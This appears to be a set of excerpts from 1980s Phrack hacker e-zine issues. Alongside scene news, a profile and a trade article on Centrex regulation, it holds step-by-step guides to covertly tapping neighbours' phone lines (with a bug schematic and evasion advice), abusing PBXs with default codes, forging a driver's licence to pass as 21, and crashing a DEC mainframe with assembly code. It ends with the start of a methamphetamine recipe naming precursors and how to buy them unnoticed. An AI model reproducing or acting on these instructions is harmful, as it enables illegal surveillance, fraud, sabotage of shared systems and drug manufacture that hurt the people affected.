recorder: This method is probably the most widespread, and you still +don't have to be a genius to do it. There are LOTS of ways to tape +conversations. The two easiest are either to put a "telephone induction pickup" +(Radio Shack $1.99) on the beige box you were using, then plugging it into the +microphone jack of a small tape recorder, and leaving it on record. Or plugging +the recorder right into the line. This can be done by taking a walkman plug, +and cutting off the earphones, then pick one of the two earphone wires, and +strip it. There should be another wire inside the one you just stripped. Strip +that one too, and attach alligators to them. Then follow the beige box +instructions to tape the conversation. In order to save tape, you may want to +use a voice activated recorder (Radio Shack $59), or if your recorder has a +"remote" jack, you can get a "telephone recorder control" at Radio shack shack +for $19 that turns the recorder on when the phone is on, and off when the phone +is off. This little box plugs right into the wall (modularly of course), so it +is best NOT to remove the modular plug for it. Work around it if you can. If +not, then just do you best to get a good connection. When recording, it is good +to keep your recorder hidden from sight (in the Bell box if possible), but in a +place easy enough to change tapes from. + +3. The wireless microphone: this is the BUG. It transmits a signal from the +phone to the radio (FM band). You may remember Mr. Microphone (from Kaytel +fame); these wireless microphones are available from Radio Shack for $19. They +are easy to build and easy to hook up. There are so many different models, that +is is almost impossible to tell you exactly what to do. The most common thing +to do is to cut off the microphone element, and attach these two wires to +screws one and two. The line MIGHT, depending on the brand, be "permanently off +hook". This is bad, but by phucking around with it for a while, you should get +it working. There are two drawbacks to using this method. One, is that the poor +asshole who is getting his phone tapped might hear himself on "FM 88, the +principal connection". The second problem is the range. The store bought +transmitters have a VERY short range. I suggest that you build the customized +version I will present in part four (it's cheaper too). Now on to the best of +all the methods.... + +4. The "easy-talks": This method combines all the best aspects of all the the +other methods. It only has one drawback... You need a set of "Easy-talk" walkie +talkies. They are voice activated, and cost about $59. You can find 'em at toy +stores, and "hi-tech" catalogs. I think that any voice activated walkie talkies +will work, but I have only tried the easy-talks. First, you have to decide on +one for the "transmitter" and one for the "receiver". It is best to use the one +with the strongest transmission to transmit, even though it may receive better +also. De-solder the speaker of the "transmitter", and the microphone of the +"receiver". Now, go to the box. put the walkie talkie on "VOX" and hook the +microphone leads (as in method three) to the first and second screws in the +box. Now go home, and listen on your walkie talkie. If nothing happens, then +the phone signal wasn't strong enough to "activate" the transmission. If this +happens, there are two things you can do. One, add some ground lines to the +microphone plugs. This is the most inconspicuous, but if it doesn't work then +you need an amplifier, like a walkman with two earphone plugs. Put the first +plug on the line, and then into one of the jacks. Then turn the volume all the +way up (w/out pressing play). Next connect the second earphone plug to the mice +wires, and into the second earphone outlet on the walkman. Now put the whole +mess in the box, and lock it up. This should do the trick. It gives you a +private radio station to listen to them on: you can turn it off when something +boring comes on, and you can tape off the walkie talkie speaker that you have! + + PART IV: WIRELESS TRANSMITTER PLANZ + +This is a tiny transmitter that consists on a one colpitts oscillator that +derives it's power from the phone line. Since the resistance it puts on the +line is less than 100 ohms, it has no effect on the telephone performance, and +can not be detected by the phone company, or the tappee. Since it is a +low-powered device using no antenna for radiation, it is legal to the FCC. +(That is it complies with part 15 of the FCC rules and regulations). It, +however is still illegal to do, it's just that what you're using to do it is +legal. This is explained later in part 15... "no person shall use such a device +for eavesdropping unless authorized by all parties of the conversation" (then +it's not eavesdropping is it?). What this thing does, is use four diodes to +form a "bridge rectifier". It produces a varying dc voltage varying with the +auto-signals on the line. That voltage is used to supply the the voltage for +the oscillator transistor. Which is connected to a radio circuit. From there, +you can tune it to any channel you want. The rest will all be explained in a +minute.... + + + + + +PARTS LIST +item | description +----------------------------------------------------------------- +C1 | 47-Pf ceramic disk capacitor +C2,C3 | 27-Pf mica capacitor +CR1,CR2,CR3,CR4 | germanium diode 1n90 or equivalent +R1 | 100 ohm, 1/4 watt 10% composition resistor +R2 | 10k, 1/4 watt 10% composition resistor +R3 | .7k, 1/4 watt 10% composition resistor +L1 | 2 uH radio frequency choke (see text) +L2 | 5 turns No.20 wire (see text) +Q1 | Npn rf transistor 2N5179 or equivalent +----------------------------------------------------------------- + +L1 may be constructed by winding approximately 40 turns of No. 36 +enamel wire on a mega-ohm, 1/2 watt resistor.

Just solder it into place on the circuit board. It +should hold quite nicely. Also be sure to position Q1 so that the +emitter, base, and collector are in the proper holes. The +schematic should be pretty easy to follow. Although it has an +unusual number of grounds, it still works. + + + + + |------------------L1----------------| + -- | + CR1 / \ CR2 |----------------| +A--------------/ \ --| ----| | | + | \ / | | | C2 L2 + | CR3 \ /CR4 | C1 R2 |----| | + R1 -- | | | gnd C3 | + | | | ----| |-----| + | gnd | | | + | | |-----|----Base collector + | | R3 \ / +B-----------------------| | \/\ <- Q1 + gnd \/ + | + | + emitter(gnd) + + + +The odd thing about this bug that we haven't encountered yet, is that it is put +on only one wire (either red or green) so go to the box, remove the red wire +that was ALREADY on screw +1 and attach it to wire 'A' of the bug.

I don't recommend that you do this. If you +decide to anyway, and do something conspicuous like set up a 30 person +conference for three hours, then I suggest that you make sure the people are +either out of town or dead. In general, when you tap a line, you must be +careful. I test everything I make on my line first, then install it late at +night. I would not recommend that you leave a recorder on all day. Put it on +when you want it going, and take it off when you're done. As far as recording +goes, I think that if there is a recorder on the line it sends a sporadic beep +back to the phone co. I know that if you don't record directly off the line +(i.e off your radio) then even the most sophisticated equipment can't tell that +you're recording. Also, make sure that when you install something, the people +are NOT on the line. Installation tends to make lots of scratchy sounds, clicks +and static. It is generally a good thing to avoid. It doesn't take too much +intelligence to just make a call to the house before you go to install the +thing. If it's busy then wait a while. (This of course does not apply if you +are making a "midnight run"). + +All in all, if you use common sense, and are *VERY* careful, chances are you +won't get caught. Never think that you're unstoppable, and don't broadcast what +you're doing. Keep it to yourself, and you can have a great time. + + -[ OVERLORD ]- + +THANKS TO: + +The CircleLord +TARAN KING +Knight Lightning +The Forest Ranger +P-80 systems + +Watch for more advanced tapping, how they catch you, and verification in the +near future. + + + + ==Phrack Inc.== + Volume One, Issue Three, Phile 6 of 10 + + Fortell Systems + Written by Phantom Phreaker + + Call The Alliance at 618-667-3825 + +Fortell systems seem to be a system to monitor lines.

The +PBX performs a switching function by connecting any extension in the private +organization to an outside line. A PBX is actually a private switch that +connects a group of telephones within an individual organization. Calls placed +outside this individual group are connected to a telephone company's central +office switch through trunks. A PBX may be operated by an attendant from the +private organization or the switching system may be done automatically. Other +terms that are commonly used interchangeably with PBX are: Private Automatic +Branch Exchange (PABX), Private Automatic Exchange (PAX), and Computerized +Branch Exchange (CBX). Although these terms were originally used to identify +specific switch structures, today they are often used as synonyms. + +PBXs can use any of three basic switching methods: step-by-step (SxS), +Cross-bar (X-bar), and computer controlled, to perform the basic function of +switching. However, in addition to detecting calls and establishing a +transmission link between two telephones, PBXs can do much more. + +The common control, often called a central processing unit (CPU), controls the +switching matrix that connects the stations and trunks. The switching matrix +of a PBX performs the same job as does an operator at a manual switchboard or a +common control central office switch. The CPU, however, gets its instructions +from the "stored program", which contains directions for activities, such as +detecting calls, sending them over the best available route, and recording +billing information. These computerized electronic switches are used to +perform routine, as well as unique, functions that simply weren't practical or +even possible with electromechanical switches. + +Just as in the public switched network, PBX switches make connection between +instruments, or "key telephone sets". We're all familiar with key telephone +sets, whether we know them by name or not. They're the business telephones +that have six push-button keys lined up below the dial--a red button marked +"hold" and five buttons or lines with flashing lights. + +Systems with PBXs and key sets have a great deal of flexability in planning for +their needs because they can set up their codes to accomplish the functions +needed in their particular situations. In fact, the PBX can be programmed so +that each individual extension within a system can take advantage of features +applicable to its own business needs. + +Some of the features that are availiable with PBXs and key systems are: call +transfer, which allows internal or external calls to be transferred from one +telephone to any other phone in the system; automatic push-button signaling, +which indicates the status of all phones in the system with display lights and +buttons; one-way voice paging, which can be answered by dialing the operator +from the nearest telephone in the system; camp-on, in which a call made to a +busy phone automatically waits until the line is idle; and internal and +external conference capabilities, which enables outside callers to conference +with several inside users. + +Some features automatically handle incoming telephone calls. Automatic call +waiting not only holds calls made to a busy extension until the extension is +free, but also signals the person being called that a call is waiting and +informs the caller that he is on hold. Automatic call forwarding will send +calls to employees who are temporarily in locations other than their offices, +provided they "inform" the PBX where they can be found. Automatic call +distribution automatically send an incoming call to the first extension that's +not busy--a useful feature for situations in which any one of a group of +persons in the organization can adequately respond to incoming calls. Another +example is automatic call back, which allows a caller who reaches a busy line +to ask the PBX to return his or her call when the line is free. + +Still other features provide services such as night telelphone answering, +telephone traffic monitoring, and network or hot-line connection. These +examples are but a sample from the features possible with computerized PBXs. + +=============================================================================== +This is a very brief description of how to use and what to expect on a PBX. +------------------------------------------------------------------------------- +Basically, you call the PBX and you will have to enter a code that can be +anywhere from 4 to 6 digits (Note: some PBXs do not require codes). Then you +will hear a dial tone. From here you would under normal circumstances dial: +9 + 1 (or 0) + NPA-PRE-SUFF, for long distance dialing or dial 8 for local +dialing. + +The most common use of the PBX is to call Alliance Teleconferencing, +a teleconference service offered by AT&T. To do this dial: +0700-456-1000,1002,1003,2000,2001,2002. + +Note: PBX codes are usually very simple and usually 4 digits. +EX: 0000, 1111, 1234, etc +=============================================================================== +Look for a file on Alliance Teleconferencing coming soon... +_______________________________________________________________________________ + +This has been a Knight Lightning presentation... + +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ + + + + ==Phrack Inc.== + Volume One, Issue Three, Phile 10 of 10 + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + + Phreak World News II + Compiled by + \\\\\=-{ Knight Lightning }-=///// +_______________________________________________________________________________ + +Retraction +---------- +We at Phrack Inc, respectfully retract all statements made in last issue +concerning Stronghold East Elite and the LOD. We are sorry for any +inconvenience this may have caused you. +_______________________________________________________________________________ + +Phreaks Against Geeks +--------------------- +This group was formed as a joke by The W(hack)o Cracko Brothers Inc. on a +conference in December of 1985. The charter members were TWCB, taRfruS, Blue +Adept, The Clashmaster, and a few others. Since then, Catcher in the Rye and +the Slovak have tried to join. + +Later that month, Boston Strangler and Micro Man formed PAP, which stands for +Phreaks Against Phreaks Against Geeks. Other opposers of PAG include: +Hack Attack, The Detective, Kleptic Wizard and The Overlord 313. It is not +known if these others are now in PAP or not. + +All of this nonsense was really started on the Dartmouth System and is mainly +a local feud of phreaks in the Boston (617 NPA) area. +_______________________________________________________________________________ + +Brainstorm Gets 10 Megs +----------------------- +Finally, after several months of promises, Brainstorm (ELITE) now has a 10 Meg +Hard-drive. As of January 1, 1986 Modern Mutant cleared the userlog of +Brainstorm and a membership drive was started. Note: To become a member of +Brainstorm, you will have to take a small (and more or less easy) filter. +Some other new features on Brainstorm are online games; Karate, Football, and a +hacking simulation. +_______________________________________________________________________________ + +Anarchy Inc. Disbanded +---------------------- +Anarchy Inc., a once very famous g-phile writing organization, has been +disbanded. Basically because most of its membership are now attending college. +_______________________________________________________________________________ + +Dartmouth Conferences To Be Abolished? +-------------------------------------- +This message was given on January 9, 1986 when a user would try to join a +conference. + +XCaliber, Fantasie, Spectre, etc are not available until tomorrow. Due to +pressure from Kiewit and some users, conferences have been disabled for one +day. Hopefully this will remind some people that the conferences are a public +service on the part of a few people and are not a "right". Recent abuse of the +conferences has made caring for these conferences almost more trouble than they +are worth. These abuses have also caused some users to complain to Kiewit. Too +many complaints and they might vanish altogether. If everyone will work at +keeping the conferences reasonably clean and free of abuse life will be much +easier. Thank you for your time and appologies for the lack of conferences. + +You are no longer connected to conference "XYZ". + +Later, Corwin got pissed off by the password abuse that was going on and killed +almost all non-Dartmouth student passwords. It is also rumored that he took +down the DUNE bbs, however Apollo Phoebus says that it is a temporary thing and +that DUNE will be going back up soon. +_______________________________________________________________________________ + +MCI Employee Bust +----------------- +Employees at MCI were creating fake accounts and then running up massive bills. +Then later they would either credit the accounts or say that the subscriber +reported code abuse. Any employee found doing this was fired. + +Another way these employees were cheating the company was by reporting code +abuse on their own accounts, however MCI Security using CNA quickly caught +these employees. + +Note: MCI Security has stated that the only real way that they can catch + abusers of the phone company is by calling the numbers that the abusers + call and asking them who they know making these calls. + + Information has been provided through MCI Security +_______________________________________________________________________________ + +MCI/IBM Merge +------------- +MCI Telecommunications company has merged with IBM and their phone industry +SBS. This was an effort to join the two as strong allies against AT&T. + + IBM computers Vs. AT&T computers + + MCI Telecommunications Vs. AT&T Telecommunications + +Changes arising from this merger (if any) are not known, but none are expected +for some years. +_______________________________________________________________________________ + +The Life And Crimes of the W(hack)o Cracko Brothers +--------------------------------------------------- +The date is somewhere in December of 1984. Peter writes a code hacker for the +Hayes and tells Tim NOT to use it on Sprint because they trace. Sometime later +that night Tim received a call from Scan Man, sysop of P-80. + +Scan Man said he needed TWCB to hack him some Sprint codes cause he didn't have +the time or a Hayes. Tim did it for him on the 314-342-8900 Sprint extender. + +He left it on all night and the next day while he was in school. Sprint traced +him. At 9:00 AM the next morning agents from the FBI, AT&T, Western Union, +GTE, and Southwestern Bell, arrived at TWCB's house. + +They were let in, bringing with them cameras and tape recorders among other +equipment. Upon seeing this Peter blew into an upstairs extension and +cancelled the dialing program, but not before the agents made sure it was the +right place. + +All of TWCB's computer equipment was confiscated and Tim was taken downtown +shortly after being picked up at school. Peter was sick and left home. Tim +was later released in his mother's custody. + +They each received probation and 100 hours of county service. + +That was then... + +Recently TWCB has come under investigation for the following: Drug use and +dealing, burglary, forgery, and fraudulent use of a credit card. + +Peter: 8 Class A Felony charges + 1 Class A Misdemeanor charge + 1 Class B Misdemeanor charge + +Tim: 6 Class A Felony charges + 2 Class B Misdemeanor charges + +Note: Some of these misdemeanors are for not returning library books. + +Also it has been said that Tim has been in jail 11 times. Both members of TWCB +are now enrolled in a reform school. + +The information in this article has been provided by TWCB, directly and/or +indirectly. +_______________________________________________________________________________ + +Blue Adept: Gone For Good +------------------------- +Blue Adept, known for being an all around loser and Dartmouth impersonator, +decided to try blue boxing. For some reason he decided to call an out-of-state +trunk direct. + +Later that month Blue Adept and his parents received a phone bill with a +charge around $386.00. This led to his being restricted from using the phone. + +Sometime after this incident Blue Adept received an invitation to join on a +conference. He wasn't home but his parents decided to stay on and listen in. + +Blue Adept is not allowed on conferences anymore and all calls to him are now +screened. +_______________________________________________________________________________ + +Overlord 313 Busted: Step dad turns him in +------------------------------------------ +Overlord's step-dad always would be checking his computer to see what was on it +and what was nearby. Last week he noticed the credits in Overlord's file on +Wiretapping, which can be seen in this issue of Phrack. + +He reported his findings to Overlord's mom. She had a talk with him and he +promised to stop his evil ways. His step-dad didn't believe him for a second. + + 1/11/86 + +Step-dad goes on business trip, where he meets Ma Bell executive Don Mitchell. +Step-dad asks all sorts of different questions regarding use of MCI dialups and +Alliance Teleconferencing, and talks about how his step-son does all these +things and more.

He had originally gotten his Apple computer in January of 1984. Then, +on one memorable day, The Videosmith logged onto his board and they became +friends. In February of 1985, he started phreaking. When his 10 meg Sider +came, he started Hell Phrozen Over as a private bulletin board system. Death +called a few memorable boards, including the Army BBS, Shadowland, The Missing +Link, The Labyrinth, as well as his own. His phreak teacher was The +Videosmith. + + Robb goes to a public school and has skipped a grade, so he is +currently one grade ahead of his time. His phreaking is unknown at school +except to a few. He considers himself pretty well versed in programming, and +from the way his board runs, I would agree. CD's girlfriend is The Silver Fox, +(note the word "Fox") that he met on Datanet, and popular opinion says she is +REALLY decent looking. + + Crimson Death does no hacking right now, but in the future when he +gets a bit of free time, he plans on learning about it. Mentioned earlier was +his involvement in Phreak Klass 2600. Red Devil has taken it down, and they +are looking for a replacement board, Phreak Klass II.

This will be taught to you in a quick, inexpensive, easy to understand +process. The materials used are laminated sheets (easily obtainable from a +school supply store for around a dollar to two dollars for a number of sheets), +pair of good scissors, and a copy machine. + + The first step in the process calls for the copy machine (a copy machine at +the supermarket works good). Make two copies of your drivers license. Take one +copy and search for a digit on one of the copies that will change the current +year on your license to one that will change your age (21). Once you have found +the digit on one copy cut it out so just the digit is there (a square segment +with a little trim around the edges is a good cut). Then take the other copy +and cut out the current last digit of the year you were born in basically the +same shape as the last. Put the cut out digit under the copy that you had cut +out your current digit of the year you were born. Now having a little trim +around the cut out digit from the first copy will assist you when lining it up +under the second copy when you put it in the copy machine. Now that you have +the new digit from the first copy sitting underneath but showing on the second +copy place it in the copy machine and make a copy so that you will have an +original of the new base part of the license. + + Now since most copy machines are black and white you will have to cut away +the states license on the top of the license (e.g. Illinois License). Now place +the new base of the license with the cut away license name over the old base of +the current license. The new base might not match up like it should but line it +up as a good as possible. Now place a piece of the laminated sheet cut out to +configure the license on top of the new base. Cut away any overlaps of +laminated paper and iron over the license with Mom's good old iron. + + Notes: This process has been proved to work. If you are the type of person +that looks very young then do not bother to make an ID. You will just get +caught and get into a lot of trouble. Also, be very careful at well known bars +and over 21 hang out spots. The employees at these places tend to flash a flash +light underneath the card to see if it is transparent. It is supposed to be. +With this process it is a little hard to see through the ID so be careful with +it if you do go to a place such as this. If you are pulled over by the police +then take a corner of the license and rip. It will not affect your original +license though it maybe a little sticky but, that should not be to big of a +problem.

The user will have +to be able to create and execute assembly level and high level language +files, as well as having a good working knowledge of programming. + The first step is to obtain an account. Whether this be a default +account like 5,30 (pw: GAMES) or an account that you hacked by some other +method, you have to be able to access the system. Superuser access is not +necessary, however, for this method to work. + At the heart of every mainframe computer is the central processing +unit. The CPU handles all instructions, fetching them from memory, decoding +them, and executing them. A DEC has what is called a DMA (Direct Memory +Access) Controller that functions as a small CPU handling all the input and +output from memory and peripherals, freeing the main CPU to execute instruc- +tions. We take advantage of this fact in crashing the system. + Theory: The CPU depends on the DMA Controller to handle all memory +access. If the DMA can be crashed, the CPU grinds to a halt and the sysop +has to run DSK:RAT to restore all the files on the system (a one hour process, +deadly at peak operating time.) We cause the DMA to crash by slowing it down +incredibly and overflowing the system stack. + Practice- + There exists an area known as 'Job Data Area' at octal 20 through 140 +of the user's memory. This stores all relevant information about the current +task executing. The individual locations each have a 6-bit mnemonic starting +with .JB in each case. These must be introduced into a symbol table as ext- +ernal references. + The highest core address available to the user is stored at .JBREL +in the Job Data Area. If you try to access more core than you are allowed, +you will get an interrupt and it will crash. The first step is to disable +the interrupt. This is done by setting bit 22 in the AC to 1. This is done +with a mask as follows... + APRENB AC + MOVEI AC,20000 (octal) + The interrupt is now shut out. Next, you must start snatching up all +available system core. This cannot be done by directly meddling with .JBREL. +Instead, you must alter AC (accumulator) to contain the highest desired +address and then move it into .JBREL. This can be done with the following +subroutine. + CORE AC, +TOP: MOVE AC,.JBREL## + AOJA AC,.+1 + CORE AC, + BRA TOP + At first, incrementing only by one looks like a slow way to grab core, +but since it is only allocated in chunks of either 1K or 2K words, you can +quickly suck up a lot of memory. (Following this file is a complete sample +program in MACRO-10 showing how to increase the core to a certain limit.) + Now that we have all the core we can get, the system is already more +than likely slowing down. This is good. Now we put in the fatal blow. +You should already have prepared a program that relies heavily on recursion. +The choice languages for this are either C or Pascal. Simply set up a simple +recursive program (Towers of Hanoi with 100 rings, for instance), and tell it +to execute. + What will begin to happen is that the DMA stack will start filling up, +slowing the system down even further.

Centrex -- the homely old +central office service AT&T planned to bury only a couple of +years ago -- has been regroomed, revitalized and often +rebaptized. + As Centrex, Centron, Caroline or Essx -- the various +regional trade names of Centrex service -- it is cheaper and more +powerful than ever in mosy parts of the country. + The bargain will only get better in regions where the Bell +operating companies (BOC) have seized on Centrex not only as a +logical step in their progression toward an integrated services +digital network, but also as a key to the lucrative +telecommunications aftermarket -- as long as those regulatory +changes do not shift. + The Centrex service the regional BOC's were left with after +divestiture was deliberately undernourished, as part of AT&T's +migration strategy to bolster sales of Western Electric private +branch exchanges. Centrex was lacking in technology and +marketing innovation, and users were abandoning it. + But, in a little more than a year and a half, the RBOC's +(Regional Bell Operating Companies) have managed to win over +state regulators to the idea of a thriving Centrex, gaining their +approval of trunk equivalency rates, innovative tariffs, rate +stabilization plans, actual detariffing and -- in one case -- +complete deregulation. + At the federal level, challenges to this revitalization have +been rebuffed or have stalled before the FCC, and the RBOCs are +pitching for greater leeway in providing the customer premises +equipment to go with their Centrex service. + "The regulators have been bending over backward to give +Centrex every competitive advantage," said Albert Angel, a lawyer +with the Washing D.C. firm of Wood, Lucksinger & Epstein, which +represents the North American Telecommunications Association +(NATA). + "Ultimately, there will be a clear finding that the +preferential treatment of Centrex is not justified," added Angel, +and should that happen, Centrex customers -- even those with +price stability packages -- could find themselves committed to a +service beset by escalating rates. + Most of the federal issues involving Centrex regulation +developed as a response to actions taken in the states. For +instance, NATA has sternly objected to "trunk equivalency" rates +authorized by a number of state commissions. + The concept evolved when the FCC imposed its $6 monthly +customer access line charge on new Centrex lines along with +regular business lines. Because Centrex uses lines much less +efficiently than a PBX does, "the net impact is very different on +a Centrex subscriber than it is on a PBX subscriber," said Greg +Laken, division manager of Centrex and central office services +for Bell Atlantic Corp. Centrex requires one twisted pair for +each station, whereas a PBX requires one trunk for six or seven +stations. + Trying to keep Centrex viable with a built-in customer +access line charge burden six to seven times greater than that +incurred by a comparable PBX would have been a tough proposition. +Bell Atlantic's BOCs, like virtually every other BOC in the +country, won permission from state regulators to offset the +higher line charges for Centrex so that customers would pay at +the same level as owners of similarly sized PBXs. + To NATA, this amounts to nothing more than "taxing all +other customers for the benefit of Centrex customers," NATA +attorney Angel said. But the FCC decided in summer 1985 that the +trunk equivalency rates do not undermine its access charge +policy. and the lower rates for Centrex users remain in effect. + Beyond whittling down customer access line charges, a number +of BOCs have had fresh Centrex tariffs approved by state +commissions that chop the service's rates and offer innovative +pricing schemes. Bell Atlantic's BOCs, for instance, have won +approval for tariffs cutting Centrex rates 30% to 35%. "The net +effect," said Lakin, "is that it is a very price-competitive +entry." + To NATA, the service's price competitiveness arises from +the BOCs' continuing monopoly position in the local market, +although BOC officials state firmly that Centrex is not priced +below cost and, in fact, generates revenue to subsidize other +services. + According to Angel, a Washington, D.C. residential customer +pays a cost-justified rate of between $15 and $17 for the local +loop and central office switching capability. A Centrex customer +using an identical local loop connected to the same central +office pays only $12. Many of the new tariffs being filed by the +BOCs recognize two of Centrex's traditional headaches: +instability and distance sensitivity. + Now many of the new tariffs offer users price guarantees and +incentives for signing the long-term contracts that give +telephone companies some stability in their Centrex base. + By locking in rates and either capping the associated costs +or typing their increase to the Department of Labor's cost-of- +living index, BOCs have been able to offer customers much of the +same predictability that a PBX does. Most tariffs give customers +the choice of three-, five- or seven-year contracts, the +incentives rising with the length of the agreement. + Centrex customers in the Chicago Loop area, for instance, +were paying a $12.52 per-line monthly charge if their system used +250 lines. Under a tariff approved last fall, however, those +customers saw the monthly charge drop to $10.94 and could drive +it down even further by signaling long-term contracts: $10.09 +per-line under a three-year agreement, $9.84 under a five-year +agreement and $9.54 under a seven-year agreement. + "Slightly less than half of our 400,000-line total base has +gone on contract," said Lee Armagost, Illinois Bell's division +manager for tariffs and costs. And the concepts success is +continuing." + For all of the BOCs' success in winning lower Centrex rates, +some companies have fared even better -- they have convinced +state regulators to detariff Centrex service for new customers +and, in one case, to deregulate it entirely. + Northwestern Bell seems to be the current detariffing and +deregulating champion among the BOCs, having won approval for +detariffed Centron service in all of its states except Iowa. +Iowa simply deregulated it. + While detariffing allows the BOCs more freedom to negotiate +with large Centron customers, deregulating takes Centron +assets, expenses and revenues right out of the rate base and +removes the service from the regulators purview. + According to Tom Smith, vice-president and chief executive +officer of Northwestern Bell Iowa, the company's first move +toward deregulation occurred in 1983, when the Iowa State +Legislature passed a Bell-inspired bill that called for +competitive services to be deregulated. The following year, +Northwestern Bell succeeded in getting in getting more +legislation passed that declared Centron ready for detariffing +because of its competitive nature. + After reviewing the legislature's actions, the State +Commerce Commission decided that if the lawmakers were convinced +Centrex was competitive and services were to be deregulated, it +would skip over the detariffing of Centrex and simply deregulate +it, Smith said. + What followed was what Smith called "nine months of +intensive work," as regulators, company officials and consultants +from Anderson & Co. sorted out the procedures for carving Centrex +away from the rate base and set up safeguards against cross- +subsidies. + "A central office is not something that has this little +compartment that says 'for service A' and that little compartment +that says 'for service B'" Smith said of the accounting problem. + NATA agrees with that description and, according to NATA +attorney Angel, argues that because competitive Centrex services +must operate commingled with regulated facilities, the FCC should +halt the detariffing and deregulating of the service or order it +to be sequestered in a separate subsidiary with other competitive +products. + But the FCC has not acted on NATA's complaint. Meanwhile, +the first customer has signed up for Iowa's deregulated Centron +-- the state of Iowa itself. + The state had solicited bids to replace its Capitol Hill +complex's Centrex service in Des Moines when deregulated Centron +became available. The new rates negotiated by Northwestern Bell +and the state's staff produced a savings of about $1 million for +the state over the three-year life of the contract, according to +Glen Anderson Jr., director of state communications for Iowa. + While Anderson called the deregulated Centron service prices +"a dramatic savings," he also pointed out another incentive for +signing up. + "The other factor was political," he said. "We did not have +an appropriation to proceed with the procurement of a switch." + When the Centron agreement runs out, the state will be in +the market for a PBX again. A member of Anderson's staff said +the staff remains convinced it can enhance its own program with +its own switch. + At some BOCs, the once feature-poor Centrex has caught up +with PBXs in many respects. Where telephone companies are +pushing digital capabilities onto their networks, they are also +pushing digital capabilities onto Centrex. Pacific Bell, for +instance, can offer fully digital Centrex service from many of +its metropolitan central offices. + A number of BOCs concur with Bell Atlantic's position that +digital Centrex is a natural rung on the ladder to an ISDN -- +among them Pacific Bell and New York Telephone Co. Many are +upgrading Centrex service with PBX-like features short of fully +digital service, including several versions call forwarding, call +waiting and speed dialing. Given the current strictures in the +FCC's Second Computer Inquiry and the Modified Final Judgement, +the expanded features list was bound to be called into question. + NATA, which has been leading the charge against the changes +in Centrex service, is fighting its battle on four fronts at the +FCC: + 1) Last fall, it asked the FCC either to halt the +detariffing and deregulation of Centrex by the states or order a +separation of commingled facilities. The FCC has not acted on +the complaint. + 2) Soon after filing that complaint, NATA filed another -- +this one questioning the provision of competitive, enhanced +features by a regulated, basic telephone company. The FCC acted +on that complaint last summer, deciding that features such as +speed dialing, call forwarding and customer station changes are +adjuncts to basic service and can be offered by a regulated +telephone company under Computer II. Only customer-dialed +account recording was found to be and enhanced service, but the +BOCs can request waivers to continue offering it. + Until the waiver requests are considered, the FCC has +granted immediate, temporary waivers so the BOCs can continue +providing customer-dialed account recording to existing customers +-- including the U.S. Army. Meanwhile, the BOCs and NATA are +seeking reconsideration of the FCC's decision in petitions the +FCC will address this month or next, according to the FCC staff +member handling the issue. + 3) Late last year, NATA asked the FCC to to stop Ameritech +and Nynex Corp. equipment subsidiaries from selling basic phone +services, including Centrex, through their unregulated customer +premises equipment subsidiaries. + When the FCC agreed to permit the joint marketing, it did so +with the provision that non-Bell companies would also be signed +up as sales agents for the basic services. As evidence of the +problem, NATA pointed to the sparse number of non-Bell sales +agents being signed up and the revenue moving from the BOCs to +their sister customer premises equipment subsidiaries in the form +of sales commissions. The FCC has not acted on the complaint or +NATA's original petition seeking a reversal of the sales agent +decision. + Bell Atlantic, backed by the majority of RBOCs, is seeking +FCC permission for an inverted version of the sales agent +decision that would let Bell Atlantic serve as sales agent for +another vendor's customer premises equipment when submitting +Centrex bids. + 4) In July 1985, NATA filed an even more sweeping +complaint, a Centrex pricing action that argues that the BOCs +are using their monopoly power to favor Centrex over other +customers and to the detriment of PBX suppliers. + The complaint bridges a number of issues, including trunk +equivalency rates, pricing below cost and Computer II concerns. +The BOCs argued that Centrex is a state concern and, although the +FCC has preempted state jurisdiction in other matters, the FCC +paused to consider the jurisdictional question -- a pause that +could last six months or extend "indefinitely," according to +lawyers working on the matter. + NATA attorneys do not seem daunted by the chilly reception +they've gotten at the FCC, apparently expecting the temperature +to rise as regulators worry less about the viability of the +divested BOCs and begin to examine the economics of Centrex. + "All rates apart from Centrex are rising dramatically. +Centrex rates are decreasing," NATA attorney Angel said. "The +BOCs would have you believe that Centrex provides a subsidy to +other services. But, in fact, documented studies show just the +opposite, that Centrex derives a subsidy." + If Centrex is priced below cost, why are the BOCs so +delighted with it? According to Angel, the answer lies in the +financial structure of a regulated utility. "Centrex uses many +more loops than necessary. This leads to new construction +budgets, which lead to new investment, which leads to a rate of +return for the investors." Investors, Angel added, "make make +money by putting loop and plant all over the place." + NATA's objections to the recent changes in Centrex rates and +services, objections that do not extend to opposition to +traditional Centrex, have generally been characterized by BOC +officials and regulators as protectionist actions taken by a PBX +industry that did not really want the full competitive +environment for which it clamored. + "NATA is frequently described as the whiner in the corner, +as though it holds all the cards," Angel said. The seven RBOCs +are far better financed, he added, yet, "they have been +successful in painting themselves as the underdogs." + +* Note: Leslie Albin is a freelance writer based in Chevy Chase, +Maryland. + +Watch for Part 1 of Centrex Renaissance: "The Technology". +Written by John D.

No, not those little pills that are shaped like +hearts, not black beauties, or magnum .357's, but real crystal. This is the +exact drug that Hitler used on his troops in WWII to make them fight for days +on end. This is the drug, that in the 60's, caused a "smack" uproar in New +York's "Needle Park". Now, you can make this very same drug, in your own +dangerous kitchen, safely and easily. Once you do this a few times, you will +get the hang of it. I no longer have to read the directions to produce it. + +What to do with it once you have made it. +----------------------------------------- +Take a ball about the size of a lead pellet, and wrap it in tissue, and +swallow, or you can put it in capsules and use it. You can smoke it, mix it +with vitamin B-12, and snort it like cocaine. You can also sell it, for about +$65-70.00 a gram, and don't forget to cut it. Remember, this is pure stuff!! + +=============================================================================== + + +List of chemicals and materials +------------------------------- + +Dilute Hydrochloric acid--> This may be purchased at the hardware store. It's +sold as a brick and driveway cleaner. They call it muriatic acid. + +Sodium Hydroxide--> This, you probably already have. It's called "lye" at most +places; it's drain cleaner. + + Ethyl Ether--> You'll probably have to make this. Don't worry, it's a breeze. +Just go to your local K-mart or Auto parts store, and get a can of that +"STARTING FLUID" it comes in a spray can. It's used for cold weather starting +of gasoline engines. + +"VICKS" nasal inhalers-->USE ONLY VICKS!! No other kind will work that I know +of. These are at any drug store or grocery, etc.. You need 12 of em, but +don't buy em' by the dozen, unless its winter time, then you can just say yer +from some nursing home, and you're stockin up for the patients. Otherwise buy +em' 2 at a time, if possible. Get a friend to help you. The druggists at the +drug store usually will know 